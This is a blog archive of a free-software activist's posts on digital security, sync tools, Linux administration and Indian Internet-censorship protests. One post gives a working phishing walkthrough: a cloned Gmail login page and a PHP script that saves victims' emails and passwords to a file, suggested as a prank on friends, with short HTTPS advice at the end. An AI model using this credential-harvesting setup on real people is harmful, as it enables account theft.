Friday, March 27, 2015

Journalism and digital security in Sweden

(This was first published in the SI network for The Local)


Nils Hanson from SVT, with generic tips on digital security.
After the sensational, yet revealing intelligence leaks by Edward Snowden in 2013,  the perception of internet being a safe haven, and a truly democratic platform for expression has been hampered. In most cases, by not denying them, the veracity of claims of mass surveillance by intelligence agencies have been acknowledged. As a consequence of which, many free speech advocates, globally, have raised flags of concern. Instances where whistle-blowers and journalists have been persecuted using weaknesses in security of digital communication tools have become a growing concern. I was inquisitive to learn what the Swedish journalists made of these leaks.

Gräv, the annual gathering of journalists in Sweden discussing investigative journalism was an apt platform to get a sense of how the Swedish journalism fraternity perceived this issue. With more than 400 journalists from across Sweden and about 50 international journalists, the event was the best arena to inquire into the post-Snowden epoch in digital security.

Inadequate efforts

SvenBergman, a prolific investigative journalist, now working for Sveriges Television's scoop program Uppdrag granskning, in his session during a focused workshop in Gräv, emphasized the need for journalists to secure their communications. Having worked on sensitive stories involving anonymous sources, he had tried many measures ranging from using basic tools like PGP encryption, to advanced measures like using air-gap computers.

When asked if there was a change in etiquette amongst rest of the journalist fraternity in Sweden, after Snowden revelations, Sven said that the concern had grown, but efforts taken weren't adequate. “Yes, and no. People are more aware of the possible threats when using internet based communication, but there is lack of education in using these security measures, which needs to be changed”, he said. He also pointed at a recent incident, when a major Swedish newspaper, Aftobladet published it's private encryption keys along with the user manual it had put together for its employees. The intent was to encourage it's employees to use PGP based encryption, but publishing the private keys jeopardized the whole initiative. Making one's private key available in public is analogous to investing in the most sophisticated security set up for your home, and finally leaving a post-it with the access code at your entrance.

Incidents like publishing private PGP keys by a major newspaper are not frivolous, to be laughed at. They highlight the bigger issue of the need to educate journalists and common public alike, in using digital security measures.

Based on a survey I conducted at Gräv, the concern raised by Sven Bergman and others during the conference was affirmed. An overwhelming majority of more than 100 participants in the survey were aware of the mass surveillance programs, and agreed that it was a risk to journalism and free speech. But less than 20% of the participants had used any security measures at all. They attributed this to the lack of education of these security tools.

Changing from within

There have been initiatives within the ambit of journalists in Sweden to popularize use of digital security. For instance, a representative from Journalistförbundet, the Swedish union for journalists, Peter Skyhag said that their organization had been trying to educate journalists, adding, “We have experts who conduct special workshops to train and educate journalists on using encryption and other basic security measures”. Peter also brought to notice a primer on internet security for journalists put together by three journalists in collaboration with Journalistförbundet. The manual, Digitalt källskydd, is available in Swedish, under Creative Commons license for journalists to understand the need for, and to learn basic security measures when using internet-based, and other digital communication services.

The disconnect in journalists not being able to widely adopt digital security measures like encryption in mail, chat or browsing seems to be three-fold. As with all technology, the adoption of security tools has a learning curve, and without comprehensive education aimed at training journalists, there cannot be widespread adoption of digital security. Secondly, the fact that the tools themselves aren't intuitive, makes it tedious to adopt them. This prompts technologists to make these tools more accessible to everyone, by making them user-friendly. Finally, the journalists need to understand the compulsion of having to secure their communications, in order to protect themselves and their sources.

Tuesday, May 27, 2014

Syncthing: Way out of DropBox

With connected devices, running upto three with each of us, services like DropBox did well in tapping the need to synchronise our data between our devices. I was, like everyone who tried out their service, immensely excited to learn and see DropBox synchronise between devices. That it did not need a geeky learning curve made it popular, rightly so.

But, talking from the perspective of a Free Software advocate, it was never the right solution.

  • Proprietary: DropBox uses Python scripts for the synchronisation services. But beyond that it is a black box, that accesses your data on multiple devices. I won't even bother explaining what that is a problem.
  • Cloud: All of the data DropBox synchronises, does not only shuttle between your devices but also rests on their ever-in-demand Cloud offering. 
  • Amazon: Quite recently I discovered that all the infrastructure of DropBox is handled by Amazon S3 cloud. For technical and political reasons, Amazon is one of the corporations you must distance yourself from.
  • DRM: Recently DropBox, updated its policies to enforce DRM check on the data you share on DropBox. If you were to upload a DRM protected file, and make a public link out of it, DropBox would check the hash of your file with a list of DRM protected files it has, and block it if your file is DRM protected. While it might sound sensible, but it is another level of intrusion one must not put up with.
I've known BitTorrentSync, but never had the motivation to try it out. If anyone else has done, do share your views.

Just yesterday I stumbled upon an open, secure and more importantly decentralised alternative for DropBox - syncthing!. The project code is pretty much in public domain (contributors only ask attribution).

I tried it out immediately on my Debian machine first, used the tarball and ran the executable. Worked fine. You might want to fork out the latest source and build it yourself.

The beauty of this tool is that it uses a p2p protocol, over encrypted link between nodes. There is no central arbitrator. To test it out, I was hoping there would be an Android porting of the app and found one.
Syncthing web GUI, with one local and one remote note


RSA fingerprint of one of a node
I got it running on my Nexus. Installation took a while, because the RSA-2048 key generation would take time to harness random data. Don't panic if your device takes a while.

Each device is identified by a node ID, which is the RSA fingerprint. You must add these public keys of the nodes between nodes you want them to synchronise and that's all. Look at the config.xml file if you are interested, or the web-based GUI to fine tune the settings like revisions, upload/download speed and other aspects.


Try it out, and if you are the gifted ones who can contribute, please do. The folks both on the Android and main project are nice and looking for contributors.

Happy SyncThinging!

Sunday, June 9, 2013

Automated online backup using FTP

I host my website on a hosted server with no shell access (I know it is pretty lame, but cuts down on my cost) and until I don't I have my server running with a Public IP address this problem will remain a problem.

Adding to this is the feature request that I get from others and myself to put some of the content from work/research away from the computers, somewhere in the Cloud. Since people have not gotten over the paranoia about Dropbox, and I too do not recommend them it, FTP way to hosted server is a sensible solution.

In case of a VPS, with shell access on the server a simple 'rsync' would do the job and crontab (one of the most beautiful pieces of software, ever) makes it a habit for the computer to do it as a routine.

Since all these are not happening, and simply because I do not have shell access to the server, I started looking at FTP as an option. Of course, FTP ain't secure, but I haven't yet worked the SFTP out. If one of you does it, do post it as comment.

Here's the script that will be automated using crontab.

#!/bin/bash
username="ftp_user@server"
domain="server"
password="ftp_user_password"

#Getting hold of current date in mm-dd-yy format to append to the backup
date=$(date +"%m-%d-%y")
#backing up a folder to upload
tar -cvzf /home/raghav/backup.tar.gz /home/raghav/backup/ 

#Here's the FTP portion of the code, which runs without interaction

ftp -n <<EOF
 verbose
 open $domain
 user $username $password
 put ~/backup.tar.gz $date-backup.tar.gz
 bye
EOF

Save this as ftp-backup.sh, or anything that makes sense to you. 
Test this code, and of course after making necessary changes with your FTP user name, password and folder to be backed up.

Change permissions, and making it an executable. Use 'chmod a+x ftp-backupto make it executable, and test it. If the script is working and has left a copy of the back up file on your server, now make it a routine task by making a crontab entry.

raghav@debian:~$ crontab -e

And make the following entry in your crontab, to run the backup script ftp-backup daily at 5PM
0 17 * * 1 /home/raghav/ftp-backup


Here's the daily backup (Except for on Saturday and Sundays) dumping archives to my FTP server.


Sunday, May 26, 2013

My date with the Mighty Savanadurga


by Monisha M Ganesh
19-05-2013
It was a cold pleasant morning, when I set out for what was supposed to be my first ever trek. I was going to scale the mighty Savandurga hill. I knew it was going to be really very exciting and quite naturally was curious about it. The day looked promising. It was not just another normal day.

I reached Kempegowda Bus Terminus at around 7 a.m., and the crowd there did not interest me this time. Any other time I would’ve landed in K.B.S., the never ending crowd and the fleet of buses waiting there would’ve crossed my mind. But that day, I was on a mission. I was not bothered about anything other than the trek. I knew, I would meet different people from different zones and make new friends all through the trek and the very thought, made me happy. Once a few of us gathered at the Majestic Bus Terminus, we proceeded with the trek.

As we began our travel, the weather and the scenery around were enthralling. It was as if the trees and the plants there were greeting us. At the end of the journey to Savandurga, all the unknown people were well known. Standing at the foot of that gigantic Savandurga hill, we looked like Lilliputians. For a minute I just wondered whether we could make it to the top. Without any further delay, we started the trek.

Every step motivated us to reach the acme of the hill. As I was climbing, a look backward scared me at times. But I was so keen on moving ahead that I did not bother looking behind. We took short breaks on the way. The sweet lime which I am not really very fond of, tasted the best at that time. Apart from the casual talks, it was the glucose powder that egged us on. As we were scaling a dry peak, the very sight of water made us go crazy. 
 
After two hours of exhaustive trek, we finally reached the pinnacle of the peak. I got a different view of the World from up there which I had never seen before. I wished I could make the time pause right there. Once we settled down there, and then began the most important phase of our trek. We had actually gathered there to discuss about the summer camp which is scheduled to take place in the month of July. Then it was time for some general discussions. Most of the speakers there instantaneously spoke on few general topics which later led to discussions. An hour passed by. Even though we did not want to leave, it was time. The discussions there were a preview of what could be expected at the summer camp. The enthusiasm level just shot up. I walked down hoping to experience another fun filled trip soon. And at the end, the day was way better than I expected it to be. I went back home with another memorable page ready to be penned down in my diary.



Sunday, March 31, 2013

How to change file upload size in phpmyadmin!

For lesser mortals in the universe of databases, who still inadvertently use lot of MySql, a tool like PHPMyadmin is the holy grail!

This web browser based, php querier accesses MySql tables and also gives tremendous functionalities to tinker with the databases. While most of it is intuitive, sometimes a small feature requirement needs the options beyond the defaults.

Before I delve into these non-default configurations, just for the record, here is how you get your phpmyadmin to access your mysql tables on your Debian based machines.

fsmk@gnu:~$ sudo apt-get install phpmyadmin

Once, you have installed, as a dependency Apache also gets installed. To access phpmyadmin, open your favourite web browser and type on "http://localhost/phpmyadmin"

Now, that settled let me get into the issue of the post.
SQL backup, taken from different servers or simply for the purpose of backing up data are the most precious files on my computer, at least. Now, to move in and out of different machines with the mysql data, phpmyadmin offers a cool import/export option.

While export is flawless, import has a default option which restricts the maximum file upload size to 2M. Once you encounter sql's which are more than 2M you know you are handling quite a lot of data, and in such cases how to restore these >2M files?

The configuration file for the phpmyadmin which checks this option is a php.ini file, which resides in the /etc/php5/apache2/ directory.



Get hold of this file, and search for "upload_max_filesize" in the php.ini file. After you've got it change it to whatever that your maximum file size might be.
Restart your apache service to upload those massive sqls into your database.

Sunday, March 17, 2013

Embeding long tables in plain HTML, using Libre Office

When using plain HTML for design of web pages, and there aren't any WYSIWG editors, and there is an inevitable requirement to embed tables into the HTML file, the <table> tag is quite handy.

<table border="1">
<tr>
<td><b>Movie</b></td>
<td><b>Favourite character</b></td>
</tr>
<tr>
<td>The Matrix</td>
<td>Neo</td>
</tr>
<tr>
<td>The Lord of the Ring</td>
<td>Eragon</td>
</tr>
<tr>
<td>V for Vendetta</td>
<td>Ivy</td>
</tr>
</table>

Will result in


For a table with couple of entries and default options, this syntax follows, and is adequate.

But, when one has to embed a longer table, with many more rows and columns and don't ask me why! Just in case, you find yourself in such a state that you have a complete table existing already in your document or spreadsheet and you do not have the patience or the in-aptitude to type out all of it using the syntax shown above, Libre Office (or even Open Office) comes to rescue!

Copy the entire table that you want to embed in a HTML file, and paste it into a new HTML document that you can create from the Libre Office prompt. Once you are done formatting your new table in a Libre Office HTML file, save it as a .html file.



All you now have to do is, locate the new .html file you created using Libre Office and open it with your favourite text editor!

It is a HTML file now with all the taggings done for your table, which otherwise would have taken painstaking hours of labour to reach that form! Copy-Paste the HTML code into your webpage that you started off wanting to embed a table.
It's ready!

Libre, set me literally free this time!

Happy hacking!
PS: Of course there might be better methods to accomplish this, if you do have one please post it as a comment :) 

Tuesday, March 12, 2013

Find,replace in multiple files using BASH

Another of those zillions of tweaks that I am afraid will slip out of my head! So jotting it down here.

When you are editing HTML files, or some similar content template with multiple changes to be done in a huge number of files, it is simply excruciating to dig into each of the files and search for a pattern and change it.

For instance, if you have a host of html files, and you need to maybe make one common change in all files, the simplest thing to do is use the power of BASH!

To change a string, recursively in multiple files, use the following command.

raghav@fossphosis:~$grep -rl 'old-string' ./ | xargs sed -i 's/old-string/new-string/g'

'grep' as always performs pattern matching
'sed' is used as the stream editor

Old-string is the string to be changed, into new-string.

May the power of BASH be yours!
GNU Rocks.

Monday, February 11, 2013

Installing additional packages in GNU Octave

 Guest post by Sneha Das, BMSIT, FSMK

Octave is a versatile computational tool, with multi-faceted functionality. To make the fullest use of this tool, there are various packages that needs to be installed. The packages in octave are equivalent to toolboxes in matlab.

To install octave packages

  • If the desired package to be installed is available in the ubuntu repository, then
    - open the terminal
    - type 'sudo apt-get install octave-name; name is the name of the octave package. If the
    install is unsuccessful, errors appear in the terminal. Else nothing appears.

If the package is not there in the repository
  • Download the package's .tar.gz file from http://octave.sourceforge.net/packages.php
  • Don't extract the .tar.gz file.
  • Open Octave by typing 'sudo octave' in the terminal.
    - the working directory should be the directory where the file is stored.
    So type 'cd directory' to change the working directory.
    - Then install the package by typing the command 'pkg install name.tar.gz'

Tuesday, August 28, 2012

The idea of Dialectics

By Aruna

The idea of Dialectics, though not new is not something familiar. I was quite intrigued by the idea of a discussion on Dialectics, and the same turned out to be a discussion on several things, relevant to and far from dialectics. The initial presentation was simple, to the point and a nice introduction to the various dialectic laws that can be applied. It was quite fascinating to imagine that individual, scattered events in one person's life are repeated with surprising similarity in almost everybody's life in the world; what I absorbed was that there are a few laws which dictate how our social lives span out, how all our social lives span out. There is a certain logic and order to the world and dialectic tries to define this order using a series of almost irrefutable laws.

 In the discussion, something that I was trying to grasp was that the proof of dialectics is influenced greatly by how one approaches the situation or matter at hand. On the one hand there might be a certain statement that seems to defy dialectics but when seen from another perspective conforms willingly; while dialectic defines a series of laws, it does not define how one must approach these laws- in which situation, in what order, under what circumstances; as a newbie this confounded me the most. (I am talking about the 1+1=2 problem)

Some questions I have -
*Are there only finite areas that dialectics can help explain, or is it all encompassing?
*Further, unlike the singularity that science and logic demand, there are several ways to look at dialectics, what is the right way? Or is there no such thing as the right way? If there is no such thing as a right way, are we not fooling ourselves by reading these laws as being absolute?
*Doesn't every work of literature or the arts or even the simple act of thinking not use dialectics in some way?

I definitely want to understand dialectics better, but I would love to learn about it through examples - maybe movies that refute or support a dialectic claim, maybe a story, a song, a novel. The study of the laws, merely as themselves, would be far more interesting if discussed and debated as a group. I cannot imagine reading Engel's or Hegel's several observations all by myself, and subsequently trying to implement them. I would give up before learning, and that would be such a pity.

 While my interest in dialectics has been kindled, it has not established itself soundly enough for me to sense the presence of dialectics all around me, this is something that I am hoping will happen when we have more meetings, and I can't wait!

Monday, July 23, 2012

How to phish and not to get phished



With the increase in commercial transactions online and a whole lot of information online, the need to secure it also increases because it is still people on the Internet and the sense of security and insecurity is innate to our interactions.

Phishing (of course,read it as fishing :P) is one of the most treacherous menaces which could have really bad ramifications -  loss of money, passwords and compromise of sensitive information.

In this post, I show how the simplest phishing trick is performed (thanks to Vignesh T Prabhu for showing me this trick), so that avoiding it can also be made effective. This trick is an offline version, and it takes simple extra gyaan to put it online.

Based on my experience with the audience I have been dealing with, I will touch upon some fundamentals like DNS, Apache Webserver, GNU/Linux directory structure and some bit of coding.

DNS Server:

Domain Name System servers are lookup tables used to map URLs to IP addresses ( a more elaborate post about it here).
For our trick here, we will need only to know that the fist level of name resolution in a GNU/Linux machine happens in the file /etc/hosts.
All GNU/Linux machines have first level DNS resolution here and standard entries might look like this :


Because in Phsihing we purport to be a webpage we are not, I usually add use the localhost as the webserver.
For instance, you could try ping google.com and it might yield a reply from a specific IP address as shown below


Here the name resolution is happening for google.com to 74.125.236.206
I our case I will try to make the localhost as google.com, for example.
Then add this entry in the /etc/hosts file

sudo nano /etc/hosts (to edit the file)
and append
google.com     127.0.0.1
save it.
where 127.0.0.1 is one of the loopback ethernet interfaces.

Now try pinging google.com, and the reply looks like this




Apache Webserver

The awesomeness of running a GNU/Linux box is in the fact that you have a "server" with you - an almost full fledged server. For our hack here, we need to be running a webserver and who else but the master of all webservers Apache runs like a charm on any GNU/Linux distro.

Install Apache (in debian based OS)

sudo apt-get install apache2

Once installed, check if the server is running - open a web browser and enter localhost, and the default page must be as shown below:


Now, also try entering google.com in the browser and it should land on the same default webpage


Now, we're ready to phish.

HTML file:

Log on to the google mail login page, and copy the source code (ctrl+u to view source code) of the file into a text document.

Find the action field and replace the google authentication URL with "phishing.php" (a php script we will be using to phish)
Save the html file as something relevant, for example login.hmtl

PHP script:

Here's a simple PHP script which will capture the login name and password on the phishing page and redirect to original authentication page.

<html>
<body>
<?php
$handle=fopen("Password.txt","a");
fwrite($handle,$_POST["Email id:"]);
fwrite($handle,"\n");
fwrite($handle,$_POST["Password:"]);
fwrite($handle,"\n");
fwrite($handle,"\n");
fclose($handle);
header("Location:https://www.google.com/accounts/ServiceLoginAuth");
exit;
?>
</body>
</html>


PHP script, save it as phishing.php

Create an empty text document password.txt.

Now, copy the three files login.html, phishing.php and password.txt to the default web server location /var/www

sudo cp login.html phishing.php password.txt /var/www

The password.txt file needs to have write permissions by the phoshing.php script - a easy and lazy way to do it is

sudo chmod 777 /var/www/password.txt

Now, you can dupe any of your friends for a prank and get them login to their google mail account and check the password.txt file to know their password, without them having a doubt of what has occurred.

The solution:

HTTPS browsing is the safest means of web browsing, and a quick verification of certificates would reveal us the real identities of these webpages.

For, the original google mail page will have an SSL certificate signed and verified, where as the phishing script won't.
Use https everywhere by EFF to avoid most of the attempts :)
Phishing page without secure connection and a warning

Secure login page with SSL certification

Sunday, June 10, 2012

FSMK protests against the attack of freedom in the Internet



FSMK protests against the attack of freedom in the Internet

Internet Freedom is under sever attack from many quarters – the Ministry of Information and Technology, various state governments, the police, international lobbying and now certain major Internet Service Providers (ISP's) such as Reliance Communications, Airtel and MTNL have joined the league.

After trying to constrain the nature of opinion that could be put up on the Internet in the form of the hasty IT Intermediaries Bill which faced tremendous opposition, now major websites such as Vimeo for video sharing, and various peer-to-peer file sharing or the Torrent sites commonly used for exchange of large files between users are being blocked by these ISP's, without any instructions issued by the Government.

We have already seen the effect of the IT Rules in which a huge number of requests are now being directed to intermediaries such as Google, Facebook, etc for taking down statements critical of the Government and political figures. Cases are being instituted by the Police under the IT Act against circulating of cartoons, calling it a cyber crime. All this shows that our constitutionally guaranteed freedoms in a democratic framework are currently under attack.

Equally worrying is the tendency of courts to issue blanket orders -- called John Doe orders – in the USA to protect the Intellectual Property of certain media companies, which have been wholeheartedly endorsed by corporations like Reliance Communications – an Internet Service Provider acting in the interest of Reliance as a Media company to block a large number of Torrent sites.

Free Software Movement Karnataka is a team of Internet activists and technology enthusiasts coming from various walks of life. We understand that without openly criticising the stands and actions of the freedom curbing authorities today freedom in the Internet is at stake,which consequentially would cripple the transparent functioning of democracy.

Join us to understand details of the Internet censorship and shutting down of websites issue; how it would impact you and the nation as a whole.

Internet is the voice of people today, don't let them dumb us down!

We have it in our power to begin the world over again.
Thomas Paine

Monday, June 4, 2012

June 9th Internet Freedom protest

Attack on Internet freedom is going on in an unprecedented scale. Nothing less than a digital mutiny will be able to show the disgruntle we as users of the Internet are facing.

Censorship of expression, shutting down of content sharing websites, and autonomous blocking of websites by ISPs have all been going on, taking us users for a ride. It is high time we all stand up for our rights in the internet, else this cancer will perpetuate stagnating the dynamic system that the internet has grown into.

Various groups are associating to demonstrate their anguish by various means. Our methods might be different, our understanding varied but the objective is one - Securing freedom in the internet, for us users.

FSMI, will also be joining in the campaign called on the 9th of June in the name of OpIndia. Here is what we have to say:

There is an attack on Internet Freedom from many quarters – the Ministry of IT, various state governments and the police and now certain major
Internet Service Providers (ISP's) such as Reliance and Airtel. Major sites such as Vimeo and various Torrent sites commonly used for exchange
of large files are being blocked by these ISP's, even though no instructions have been issued by the Government.

We have already seen the effect of the IT Rules in which a huge number of requests are now being directed to intermediaries such as Google,
Facebook, etc for taking down statements critical of the Government and political figures. Cases are being instituted by the Police under the IT
Act against circulating of cartoons, calling it a cyber crime. All this shows that our democratic freedoms guaranteed under the constitution are
currently under attack. Equally worrying is the tendency of courts to issue blanket orders – called John Doe orders -- to protect the Intellectual Property of certain media companies. Reliance, a ISP is acting in the interest of Reliance as a Media company to block a large number of Torrent sites.

To protest against such actions of the Government and the ISP's, FSMI calls for protests accross the country on the 9th of June 2012. FSMI also will co-ordinate with other organisations who have called for similar protests on 9th June.

Sunday, April 22, 2012

World inside your head

The ability to create a world inside your head at whim can be painful at times, and a real pleasure at others. When you create the same world repeatedly, successively, passionately you might feel slightly schizophrenic. A sharp awareness of reality can be manna, at such times. 

Ever since I saw Anbe Sivam or to go back further, read Che's Motorcycle Diaries, I have fancied myself a communist. I've often tried to ignore the temptation to dress up, have sub consciously been shabby at times because the communist in my head wildly approves, of this idea so far from communism, and yet so dear to the imagination. My first protest on Saturday shall be memorable to me for one of two reasons, I am not sure : Either it made the emotion in my stomach soar, at the idea of being a real and physical voice for a few hours or it introduced me to new facets of whimsical dreaming. (Smiles)

When I reached the Town Hall my instinctive desire was to change, by some magical force, the location of the protest to the opposite side of the Town Hall, because I wanted to watch the sun set behind the Hall while I was feeling incredible. The statue of Kittur Rani Channamma on a horse with a machete in her hand quickened my heart, though I walked soberly. 5 minutes later, there I was holding a poster, looking sheepish, the expression compounded by my fear of cameras and my guilt at not having brought a poster of my own.

The most comforting part of a students' protest is the conviviality at the site of the protest in spite of how seriously everyone takes the issue. You feel at ease because the protesters can roughly be divided into two groups-people who're there for the first time and therefore look as sheepish for varying reasons and people who've been to a protest before and have discarded their inhibitions so conclusively that their nonchalance can cause you to chide yourself and become sensible.

I was quietly pleased by the effort that had been made by most of those who turned up; their spontaneity, their awareness of the issue, their willingness to speak on a public platform, pose for the media in cardboard jails and scream out slogans. I thoroughly approved when someone screamed, “It's fucking wrong” into the mike because I realised that in that breach we had all made the protest our own, in every way. That it was seeping slowly, into the thickest skins.

There are several faults with the revision of rules proposed by the Indian government:

The double standards- The creator of content is always the victim while the complainant need not worry about the consequences of his action.

The absurdity- Google argues against censorship by giving this example : Censoring the word 'sex' on the internet can cause erasure of all passport information!

The legal consequences seem to be oppressive and overdone as the impromptu skit, again keeping with the mood of the atmosphere conveyed in a conversation between several criminals in a jail cell. All of them ministers( Keeping with the Anti corruption movement) except one, who played a pitiful blogger.

The power that it gives a person to dictate their opinions - Someone remarked that censoring the internet was equivalent to censoring art, bringing to fore the analogy between the M.F.Hussain issue and this one.

As the hours progressed, I was feeling more strongly about the issue and appreciated the songs that several people sang; hoarsely, slightly out of pitch but never lacking in conviction. I tried to gauge the meaning of the Kannada songs, laughed with everyone as someone sang sportively in Malayalam, a language that no one there understood. I was losing my weakness of feeling self-conscious in the middle of strangers and I was enjoying it. The candles in the end added solemnity and as I walked back home, under the eagles flying so high, I promised myself that I would protest again, perhaps with more conviction. That it would mean more, much more the next time. 

(Written by a new free software enthusiast, who participated in FSMK's protest against the Internet censorship debate.
The author has sought anonymity )

Tuesday, January 3, 2012

How To Set up a repository cache with apt-cacher


By Pallavi Shastry

When running multiple machine with the same distribution, it is sensible to set up a repository cache on your network so that once a package is downloaded from an official repository, all other machines will download it from your local area network.
Having different machines running the same linux distribution, it becomes interesting to set up a repository cache in your local network. This way, you won't download common packages more than 1 time from official repositories.
Here is the situation, we have one machine called repository-cache, this machine is going to act as the repository cache, basically, any other machines in your network is going to use it as a repository.



1. Getting started : Server configuration

As usual, you need to install the required packages in the first place. So type in a terminal:

$sudo apt-get install apt-cacher apache2

To start the service of the apache web server. 
 $sudo /etc/init.d/apache2 start
 
Then test by going to http://repository-cache:3142/apt-cacher to verify that it's running. 
repository-cache in the URL above is the host name or IP of the cache server in the LAN. 

Once this is done, it is time to get into the configuration files in /etc/apt-cacher/apt-cacher.conf

$sudo gedit /etc/apt-cacher/apt-cacher.conf

The default port apt-cacher is running on is port 3142.

Allowed_hosts: by default, all host are allowed to use the repository cache. You can change this value if you want to only allow certain host.

Generate_reports: This directive makes apt-cacher create a report on how efficient your cache was on a daily basis. Default is 1, if you want to disable this, set it to 0.apt-cacher will generate report on the usage of the cache every day.

Clean cache: This directive makes apt-cacher clean the cache every 24 hours . So reset it , clean cache =0


2. Activating apt-cacher to start

In order to start, apt-cacher needs to be activated from /etc/default/apt-cacher. So open /etc/default/apt-cacher and set AUTOSTART to 1:
AUTOSTART=1
Now restart apt-cacher:
$sudo /etc/init.d/apt-cacher restart
Now that apt-cacher runs, it is time to update all our clients /etc/apt/sources.list files so every host on the network will use our repository-cache machine.


3. Importing existing package from /var/cache/apt/archives/ to apt-cacher repository

It might happen that your server already has got a whole lot of packages cached in its local repository: /var/cache/apt/archives/.  
apt-cacher offers a tool to import those files to apt-cacher repository logically without in fact replicating copies of these packages.
There are whole lot of cool and useful scripts that can be found in /usr/share/apt-cacher/
The one we are interested in here is apt-cacher-import.pl which is handy to import deb files from /var/cache/apt/archives to apt-cacher repository run:

$sudo /usr/share/apt-cacher/apt-cacher-import.pl -s /var/cache/apt/archives


5. Setting up the Clients sources.list

Now it is time to set up the client hosts apt source list files: /etc/apt/sources.list
It make sense to use the repository cache on the server too, as that way, any updates made by the server will fill up the cache.

In each line , ie every instance of the sources.list file, if for example there is an entry

deb http://archive.ubuntu.com/ubuntu/ main restricted

becomes

deb http://repository-server:3142/apt-cacher/archive.ubuntu.com/ubuntu/ main restricted

Cool, now, every host should be able to retrieve the .deb packages from our repository cache once has been ran on every host.

$ sudo apt-get update

Then test report by going to http://repository-cache:3142/reports to verify that it's running. The report is generated once a day, but if you need it at a certain time, you can force it by running:

$sudo /usr/share/apt-cacher/apt-cacher-report.pl


6. Conclusion

apt-cacher is an easy and efficient package which will save you both time and bandwidth when using multiple machines with the same distribution like it could happen in a home network or at a company.

Thursday, December 15, 2011

The Internet Censorship debate


Freedom of expression takes a new dimension altogether when placed in the context of the digital channels like blogs, social networks or microblogs in the Internet. While there is no absolutism associated with any freedom, the applicability or the non applicability of restrictions and laws between the real world and the digital space needs clear understanding and a distinction based on this understanding.

The stand of Free Software Movement, has always been to sustain and perpetuate the freedom of computer users and information technology benefactors. When the Government of India today has proposed severe but unsubstantiated endorsement of censorship, leading to the curbing of fundamental rights of expression, we would want to reiterate our stand to Free Software supporters by presenting the the threat this move would pose to the essence of neutrality in the Internet and democracy in the country.

Expressing oneself in the conventional media like press, books, television and radio are entirely different, than when an individual is expressing via digital vents on the Internet. The accessibility to the media itself, and the broadcast range of the channels in both the realms are fundamentally different.

In conventional media, not everyone has a say, and the chances of rebutting to the opinions of the 'media privileged' people expressing them is seriously restricted; In the Internet it is quite the opposite. By design the Internet provides equal footing to everyone to express their own views. Anyone can express their views, or counter an expressed view without having to depend on 'media partners' to attach a voice to their opinions. Hence, it could be said that the Internet is self conditioned, and does not require external regulators.

Secondly, the views presented in newspapers, books and television, or any other form of conventional media are in a sense 'imposed', wherein except from unsubscribing to those services there is little of resentment one can demonstrate. Moreover the conventional media vents have percolated deep into the society in a country like India, where it is not the Internet but newspapers and television which build opinions of people. In contrast, the content put up on the Internet operates and caters to a relatively small portion of the population. The sensibilities of the information on the Internet makes sense to the communities of people on that particular service or platform alone, and does not spill over to the streets. It is the user who seeks content on the Interent and nothing is imposed, in comparison with the conventional media.

Further the current stand of the Government to curb and hone down the views expressed on the Internet comes as a shock. Authorities headed by Mr Kapil Sibal, whose lack of comprehension of the problem at hand is being debated heavily on all platforms, well beyond the online platforms. 

http://www.labnol.org/india/censorship-in-india/20527/

It seems he has suddenly gotten aware of the censorship trick. Mr. Sibal and the rest of the Government have been projecting that “religious blasphemy” is what they are trying to counter in the Internet – which is far from the whole truth.

There has been a lot of active propaganda on the net about the plethora of scams that the current UPA Government has been involved in. The facts being circulated might not be audited, and very just but the essence these streams online have been carrying have certainly put the Government at guard and now are using a masquerade of “religious blasphemy” to curb the freedom of expression in the Internet.

The extreme interest Mr. Sibal has been taking in this regard comes as a bigger surprise, for, the issues pertaining to the infrastructural problems of e-Governance in India, the security issues related to the Aadhaar Unique Identification project and the secretive NATGRID are not being given the same importance. These issues about Internet and technology which have been growing steadily for sometime now have to be addressed firstly, which neither Mr. Sibal nor his instigators have bothered about.

The enthusiastic involvement which Mr. Sibal, representing the Government of India has demonstrated, to curb the freedom of expression in the digital sphere manifests the unreasonable apprehensions of our current governors. If implemented, this censorship would beyond curbing the freedom of expression, cripple the democracy, or the little of it which remains.

Free Software Movement with this clear understanding, urges Internet users and activists to take up online campaigns, propagate the nuances of the issue at hand and stand up for the freedom in the Internet. 

Thursday, December 1, 2011

Running 32 bit compiled binaries on 64 bit machines

Although the officially supported packages for GNU/Linux platforms from major corporations like Texas instruments might not wholly adhere to the Free Software guidelines, when the user is in desparate need to run an application from such corporations, the most optimal solution would be to get the binaries running on GNU/Linux rather than out of compulsion to use Windoze.


Code Composer by Texas Instruments is one such handy environment for all Electronics engineers. Although the tool itself is a propreitary one, TI does give a GNU/Linux version of it. It comprises of the binaries and dependencies for easy porting onto different flavours.

And because this is a precompiled package, and mostly compiled for the scenario of 32 bit architecture running a 32 bit kernel, if the necessary dependencies are not installed the binaries wouldn't run on 64 bit machines running 64 bit kernel.

"ia32libs" is the package which contains runtime libraries for the ia32/i386 architecture, configured for use on an amd64 or ia64 Debian system running a 64-bit kernel.Without these libraries, the above mentioned binaries will not get installed on the system.

Default installation,
fossphosis@raghu # apt-get install ia32-libs

That's all!
Now, your machine will be able to run the binaries compiled for 32 bit scenarios as well!

Monday, November 7, 2011

Rendezvous with a Debian Developer

Just about an hour ago is when I dropped of Jonas Smedegaard on his way to the Bangalore International airport after his week's stay here.

courtesy vigneshwar shankar


Although I haven't been writing about any person in specific even in my personal blog, in this post I only intend to reflect upon the paradigms of Jonas in comparison to my own. I won't repeat all the technicalities discussed through the week, but will try to project my perception of this hacker, who is more than a mere geek.

Now, why Jonas, and not compare myself to someone I've already known?
I believe our perceptions, and hence our deep principles heavily depend on the circumstances we are faced with, and it cannot be universal - will be relative.
Me and Jonas, as I did very well realize are from different societies, and hence have different mental worlds.

In Jonas' own terms, he comes from a different world and many a times we from this world (as many of us kept proving it through the week) here get duped into just looking at the surface, and not the details of them.
"Surface is narcotics", as he said, is so apt.

I have had a different perception of westernization. I would never be a hypocrite, or a dumb emulator of people from different societies. I must have exhibited some tendencies towards some "unreasonable" emulation, and this week long interaction with Jonas has help me sort out my prerogative in my realms.

Another important aspect which got me all inspired was, the way he correlates his work, its impact to the grand scenario. I think I fail to recognize (at least for now), the ramifications of my own small contributions to the big picture. Being inert about an issue is equivalent to encouraging it, is another point he reiterated many a times.

Leaders need to inspire, and make space for the team to grow and express themselves : A nice notion about leadership I heard Jonas say, and I, like him too have been trying to get closer to this ideal.


All said and done, respecting differences between people and each taking the better of the paths for oneself is what is the ultimate path to harmony and cooperation, both in dissimilar communities of similar individuals, and similar communities of dissimilar individuals.

PS: If you missed the technicalities, here are some reports of the events in Bangalore
http://www.thehindu.com/news/states/karnataka/article2601600.ece
